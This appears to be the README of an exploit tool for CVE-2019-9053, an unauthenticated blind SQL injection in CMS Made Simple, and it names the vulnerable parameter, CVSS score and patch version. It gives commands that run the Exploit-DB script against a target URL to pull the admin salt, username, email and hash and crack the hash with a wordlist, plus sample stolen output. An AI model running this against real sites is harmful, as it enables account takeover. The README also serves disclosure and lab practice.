
CVE-2019-9053 is a time-based blind SQL injection vulnerability affecting CMS Made Simple versions ≤ 2.2.9. It does not require authentication.
The vulnerable parameter is m1_idlist in the News module (moduleinterface.php). An attacker can exploit it to extract the administrator's password hash, username, email, and the salt used for hashing.
The password storage scheme is MD5(salt + password), where the salt is 8 bytes. This allows, once the hash and salt are obtained, to attempt offline password cracking with tools such as hashcat or John the Ripper.
CVSS 3.1: 7.5 (HIGH) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Daniele Scanu — @Certimeter Group
The original exploit is available at Exploit-DB #46635.
requests, termcolorpip2 install requests termcolor
# Extract credentials (salt, user, email, password hash)
python 46635.py -u http://target/cmsms
# Extract credentials and attempt to crack the password with a wordlist
python 46635.py -u http://target/cmsms --crack -w /path/to/rockyou.txt
The exploit sends HTTP requests with SQL payloads containing SLEEP() to determine character by character:
cms_siteprefs where sitepref_name = 'sitemask'cms_users where user_id = 1cms_usersMD5(salt + password)[+] Salt for password found: 5a599ef579066807
[+] Username found: jkr
[+] Email found: [email protected]
[+] Password found: 62def4866937f08cc13bab43bb14e6f7
moduleinterface.php| Field | Value |
|---|
| CVE | CVE-2019-9053 |
| Product | CMS Made Simple |
| Affected versions | ≤ 2.2.9 |
| Type | Time-based Blind SQL Injection (CWE-89) |
| Authentication | Not required |
| Vector | moduleinterface.php?mact=News,m1_,default,0&m1_idlist= |
| Impact | Credential extraction (user, email, password hash + salt) |
| CVSS 3.1 | 7.5 HIGH |
| Patch | CMS Made Simple 2.2.10 |
| Parameter | Description |
|---|
-u / --url | Base URL of the CMS (e.g. http://10.10.10.100/cms) |
-w / --wordlist | Wordlist to crack the password (optional) |
-c / --crack | Enable password cracking mode |